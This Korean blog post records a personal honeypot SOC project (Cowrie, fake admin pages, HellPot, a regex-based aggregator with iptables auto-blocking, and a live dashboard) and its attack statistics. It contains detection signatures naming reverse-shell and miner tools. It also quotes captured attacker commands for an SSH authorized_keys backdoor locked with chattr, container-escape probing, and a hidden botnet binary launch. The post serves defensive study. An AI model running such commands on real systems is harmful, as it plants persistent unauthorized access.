← ~/notes · 3 min read

허니팟 SOC 구축기 — 5만 건의 공격을 실시간으로 분석하다

개인 VPS에 허니팟을 올리고, 공격 트래픽을 실시간 탐지·차단·시각화하는 위협 인텔리전스 플랫폼을 직접 만든 기록.

목차
  1. 왜 만들었나
  2. 시스템 구성
  3. 허니팟 3종
  4. Cowrie — SSH 허니팟
  5. FakeAdmin — HTTP 허니팟
  6. HellPot — 봇 타르핏
  7. 실시간 위협 탐지
  8. 실제로 잡힌 것들
  9. SSH 백도어 설치 시도
  10. 컨테이너 탈출 시도
  11. 봇넷 설치
  12. 24시간 통계 (2026-05-08 기준)
  13. 대시보드
  14. 만들면서 알게 된 것들
  15. 스택 정리

공인 IP 하나를 공개 인터넷에 올려두면 얼마나 많은 공격이 들어올까?

직접 측정해봤다. 결론부터 말하면 누적 59,000건 이상, 24시간에 약 3,000건이다.


왜 만들었나

방화벽은 공격을 막아주지만 누가, 어디서, 어떤 방법으로 오는지는 알려주지 않는다. 그냥 DROP하면 끝이다.

궁금했다.

  • 실제로 어떤 명령어를 실행하려 하는가
  • 어느 나라에서 주로 오는가
  • 크립토 마이너, 봇넷, 역방향 셸 — 실제로 시도하는가

그래서 의도적으로 취약해 보이는 서버를 올리고, 공격자를 유인해서 행동을 기록하기로 했다. 이게 **허니팟(Honeypot)**이다.


시스템 구성

인터넷 공격자
    │
    ├─▶ Cowrie (SSH :22)     — 가짜 셸 환경, 키스트로크 전부 기록
    ├─▶ FakeAdmin (HTTP :80) — 가짜 WordPress/phpMyAdmin 로그인 페이지
    └─▶ HellPot (HTTP :8080) — 봇/크롤러 타르핏

          │ JSON 로그
          ▼
    aggregator.py            — 실시간 로그 파싱 + 위협 탐지
          │
          ├─▶ AbuseIPDB / VirusTotal API  (IP 평판 조회)
          ├─▶ iptables 자동 차단
          ├─▶ Discord 즉시 알림
          └─▶ SQLite 저장

          │
          ▼
    FastAPI 대시보드          — 실시간 시각화

세 개의 도커 컨테이너, Python 집계 데몬, FastAPI 대시보드로 이루어진다.


허니팟 3종

Cowrie — SSH 허니팟

Cowrie는 중간 상호작용(medium-interaction) SSH 허니팟이다. 공격자가 SSH로 접속하면 실제 셸처럼 보이는 가짜 환경에 가두고, 입력하는 모든 명령어를 JSON으로 기록한다.

공격자는 자신이 실제 서버에 접속했다고 믿는다. ls, wget, chmod +x ./sshd, nohup ./botnet & — 다 기록된다.

FakeAdmin — HTTP 허니팟

nginx로 구성한 가짜 관리 페이지다. /wp-admin, /phpmyadmin, /.env, /.git 등 자주 스캔되는 경로를 전부 응답하게 했다. 요청 본문(바디)까지 JSON으로 기록해서 크리덴셜 스터핑 시도를 수집한다.

robots.txt에 Disallow: /admin을 넣어두면 봇이 더 열심히 온다.

HellPot — 봇 타르핏

HTTP 응답을 무한히 천천히 전송해서 봇이 연결을 끊지 못하게 발이 묶이게 한다. 스캐너의 시간과 자원을 낭비시키는 용도다.


실시간 위협 탐지

aggregator.py의 핵심은 정규식 기반 시그니처 매칭이다.

CRITICAL_SIGS = {
    "SSH 백도어 설치": {
        "pattern": re.compile(
            r'authorized_keys|chattr.*\+[ai]|ssh-rsa AAAA', re.I),
        "block": True,
    },
    "DDoS 봇넷 설치": {
        "pattern": re.compile(
            r'nohup\s+\./\.\S+/sshd\s+[\d\.]+.*&', re.I),
        "block": True,
    },
    "크립토 마이너": {
        "pattern": re.compile(
            r'xmrig|minergate|stratum\+tcp|cryptonight', re.I),
        "block": True,
    },
    "역방향 셸": {
        "pattern": re.compile(
            r'bash -i|nc -e|/dev/tcp/|mkfifo /tmp|python.*pty', re.I),
        "block": True,
    },
    # + 컨테이너 탈출 시도, 악성 스크립트 실행, /tmp 바이너리 실행
}

CRITICAL 시그니처에 걸리면:

  1. iptables -I INPUT 1 -s {IP} -j DROP — 즉시 차단
  2. /etc/iptables/rules.v4 저장 — 재부팅 후에도 유지
  3. Discord 웹훅 — 즉시 알림

서버가 뭔가 이상한 걸 감지하면 알림이 울린다. 자는 도중에도.


실제로 잡힌 것들

SSH 백도어 설치 시도

독일 IP(213.209.159.158)에서 들어온 실제 명령어:

chmod +x setup.sh; sh setup.sh; rm -rf setup.sh
mkdir -p ~/.ssh
chattr -ia ~/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2E..." > ~/.ssh/authorized_keys
chattr +ai ~/.ssh/authorized_keys
uname -a

SSH 공개키를 authorized_keys에 심고, chattr +ai로 수정/삭제 불가능하게 잠그려 했다. 탐지 즉시 자동 차단됐다.

컨테이너 탈출 시도

cat /proc/1/mounts
ls /proc/1/ns

Docker 컨테이너 안에 있다고 판단하고 호스트로 탈출을 시도한 흔적이다.

봇넷 설치

nohup ./.systemd/sshd 185.x.x.x 443 &
chmod +x ./.systemd/sshd

숨겨진 디렉터리에 악성 바이너리를 올려두고 백그라운드로 실행하려 한 패턴이다. DDoS 봇넷이 서버를 장악하려는 전형적인 수법이다.


24시간 통계 (2026-05-08 기준)

항목수치
24시간 이벤트2,869건
고유 공격자 IP65개
누적 전체59,637건
자동 차단 IP16개

상위 공격 출처는 프랑스(2,197건), 베트남, 인도, 루마니아, 폴란드 순이었다. 프랑스 한 IP가 하루에 2,000건 이상을 때렸는데, AbuseIPDB 점수는 0%였다. 신규 봇이거나 VPN일 가능성이 높다.


대시보드

FastAPI + Alpine.js + Chart.js + Leaflet.js로 만든 웹 대시보드다. honey.lab-it.net에서 실시간으로 볼 수 있다 (Cloudflare Zero Trust로 보호됨).

주요 기능:

  • 실시간 공격 피드 (SSE)
  • 세계 지도 위 공격자 분포
  • 공격자 IP 클릭 → 세션 재현 (어떤 명령어를 쳤는지)
  • 차단 IP 목록
  • 시간대별 공격 히트맵

만들면서 알게 된 것들

UFW의 함정. DEFAULT_FORWARD_POLICY=DROP이면 Docker 컨테이너로 가는 패킷이 전부 막힌다. 허니팟이 10일간 공격을 못 받은 이유가 이거였다. Docker는 INPUT 체인이 아닌 FORWARD 체인을 타기 때문이다.

50,000건 백필. 위 버그를 고치고 보니 10일치 로그가 파일에 쌓여 있었다. Python 스크립트로 전부 파싱해서 DB에 밀어 넣었다.

iptables 권한. systemd 서비스에서 iptables를 실행하려면 CAP_NET_ADMIN 능력이 필요하다. AmbientCapabilities=CAP_NET_ADMIN을 service 파일에 추가했다.

aggregator.py는 stdlib만. FastAPI, requests 같은 외부 패키지 없이 json, sqlite3, re, subprocess, threading, urllib 만으로 만들었다. 의존성 없이 python3 aggregator.py로 바로 뜬다.


스택 정리

구성기술
허니팟Cowrie 2.9.17, nginx 1.29.7, HellPot 0.5.4 (Docker)
백엔드Python 3.12, FastAPI 0.136, SQLite 3.45 (WAL)
프론트엔드Alpine.js 3.14, Chart.js 4.4, Leaflet.js 1.9.4
인프라Ubuntu 24.04, Cloudflare Tunnel, iptables
외부 APIAbuseIPDB, VirusTotal, Discord Webhook

보안은 막는 것만이 아니라 이해하는 것이기도 하다. 공격자가 무엇을 노리고 어떻게 움직이는지 직접 관찰하는 것 — 허니팟은 그 관찰의 도구다.